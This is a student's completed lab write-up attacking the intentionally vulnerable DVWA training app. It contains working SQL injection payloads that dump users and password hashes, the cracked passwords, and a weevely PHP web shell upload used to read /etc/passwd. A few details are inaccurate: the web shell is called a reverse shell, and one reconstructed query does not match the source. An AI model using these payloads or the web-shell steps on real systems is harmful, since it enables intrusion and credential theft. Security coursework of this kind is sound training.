

Lab Exercise 5 – Injection

Due Date: October 14, 2022 by 11:59pm ET
Points Possible: 7

Name: Jingtao Scott Hong jh4ctf

1. Overview

You are a security tester and your client, DVWA, has asked you to test their web server and application for vulnerabilities. You find that they have some functionality on their site to interact with a database and to upload files. You attempt to exploit these features to obtain the passwords of users in the database and gain root level access to the target.

3. Initial Setup

For this lab, we will use an intentionally vulnerable web application called DVWA (Damn Vulnerable Web Application) that is installed on the Cyber Range. Log into the Virginia Cyber Range Cyber Basics environment.

On your Cyber Range Kali Linux system, open a web browser and enter the following:
`http://dvwa.example.com/`

Log in to DVWA with these credentials:

Username: admin
Password: password

Once logged in, click on the DVWA Security button on the left side of the page and set to 'low', then click 'submit'. It may already be set to low. DVWA provides a range of security levels so users can test their skills and try different techniques to bypass increasingly secure web application implementations.

Task 1. SQL Injection

Click on the **SQL Injection** button on the left side of the page. You see that DVWA has a form to look up data by User ID.

The input box on the SQL Injection page asks for a User ID. You enter a number in this field and the web page constructs a SQL query (you can see the source code by clicking on View Source at the bottom of the screen). Enter a number to see the results. It needs to be an actual user ID number so you may need to guess a few times.

Question 1: You can get some valuable information just by looking at the SQL query in the source code. What is the name of the table and each column identified in the database? (1 point)

```
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' );
```

We can see that the name of the table is users and there are three columns: first_name, last_name and user_id in the table.

Next let's see if the form is vulnerable to SQL injection and what kind of errors it gives. Can you enter something on the form to generate an error and find the name of the MySQL database software it is using?

Question 2: What is the name of the MySQL database software? Make sure to include a screenshot of how you found the answer in an error message. (1 point)

I typed in 1' OR 1=1 and it returned error as following:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

We can see that the MySQL database software is MariaDB server.

Next perform a SQL injection attack that will list every user in the database. To do this you will need to enter a statement that creates an always true scenario.

Question 3: What SQL code did you enter in the User ID field that gave you the first and last name of every user in the database? Also include a screenshot of the users you obtained. (1 point)

I typed in 1' OR 1=1# and it returned all USER ID and its first and last name of every user in the database as following:

```
ID: 1' OR 1=1#
First name: admin
Surname: admin

ID: 1' OR 1=1#
First name: Gordon
Surname: Brown

ID: 1' OR 1=1#
First name: Hack
Surname: Me

ID: 1' OR 1=1#
First name: Pablo
Surname: Picasso

ID: 1' OR 1=1#
First name: Bob
Surname: Smith
```

Question 4: Write out the SQL query that your injection constructed to give you the results. (1 point)

```
SELECT user_id, first_name, last_name FROM users WHERE user_id = '1' OR 1=1#'
```



Earlier you found the name of the database software in an error message. Now that you know this site is vulnerable to injection attacks and you know how to do one, use a SQL injection statement that will display the specific version of the database software. Some things you need to know to do this is that you can query the version of a database software using a SELECT statement and `version()` or `@@version`. If you want to use multiple SELECT statements together you need to perform a UNION as in the following example:

```
SELECT first_name, last_name FROM users WHERE user_id = '$id' UNION SELECT  
column_name1, column_name2;
```

Every select statement within a UNION must have the same number of columns, so in the example above the second select statement must have two columns specified since the first select statement has two columns specified. If only one column name is known, null can be used for the second column name.

Question 5: What is the specific version of the database software? (Provide the ENTIRE version name/number.) Please provide your SQL injection code and a screenshot. (1 point)

I used code: `1' UNION SELECT NULL, version()#` to get the following result:

```
ID: 1' UNION SELECT NULL,version()#  
First name: admin  
Surname: admin  
  
ID: 1' UNION SELECT NULL,version()#  
First name:  
Surname: 10.1.44-MariaDB-0+deb9u1
```

The specific version of the database software is 10.1.44-MariaDB-0+deb9u1

Next you will inject code that will display all of the usernames and associated passwords in the table. Some tips are to use a UNION SELECT statement to list the user and password columns from the user table. This will display the usernames and passwords for each user. The passwords will be shown in hashed form.

Question 6: List your SQL injection code and each username and their **cracked** (plaintext) password. (1 point)

I typed code: `1' UNION SELECT user,password FROM users#` and got the following result:

```
ID: 1' UNION SELECT user,password FROM users##  
First name: admin  
Surname: admin  
  
ID: 1' UNION SELECT user,password FROM users##  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
Unhashed: password  
ID: 1' UNION SELECT user,password FROM users##  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
Unhashed: abc123
```

ID: 1' UNION SELECT user,password FROM users##
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
Unhashed: charley

ID: 1' UNION SELECT user,password FROM users##
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
Unhashed: letmein

ID: 1' UNION SELECT user,password FROM users##
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Unhashed: password

Task 2. File Injection

Now that you have compromised the database and user information you move on to the potential file upload vulnerabilities.

First you create a malicious file to upload using the weeveely tool. Open the terminal and type the following command:

```
weeveely generate abcxyz /home/student/Desktop/hack.php
```

Here is some information about this command:

weeveely: name of the tool we are using that creates a stealth PHP web shell.

generate: to generate the reverse shell to remotely open a backdoor to the system.

abcxyz: password for the reverse shell, so that only you can connect (you can use any password of your own, in my case I used "abcxyz")

/home/student/Desktop/hack.php: name and location of the file we are creating using weeveely.

Now return to your DVWA website and click on the 'File Upload' button on your DVWA menu on the left. You will see that you can browse for a file and upload it. Browse for the hack.php file you just created and upload it.

Once it uploads successfully, open a new tab and go to your file at <http://dvwa.example.com/hackable/uploads/hack.php>. You'll see a Blank page (NO file not found error), this means the file has been uploaded successfully.

Now, head back to the terminal and use weeveely to connect to your reverse shell created by your hack.php file that you just uploaded:

```
weeveely http://dvwa.example.com/hackable/uploads/hack.php abcxyz
```



Once you are connected to the reverse shell, you can execute the Linux commands like ls, pwd, etc.

Question 7: Cut and paste or screen capture the /etc/passwd file contents that you can now access. (1 point)

```
weevely> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
```

Congratulations, if everything went well you are now well on your way to pwning the target system!

By submitting this assignment you are digitally signing the honor code, “I pledge that I have neither given nor received help on this assignment”.

END OF EXERCISE

References

- <http://www.dvwa.co.uk/>

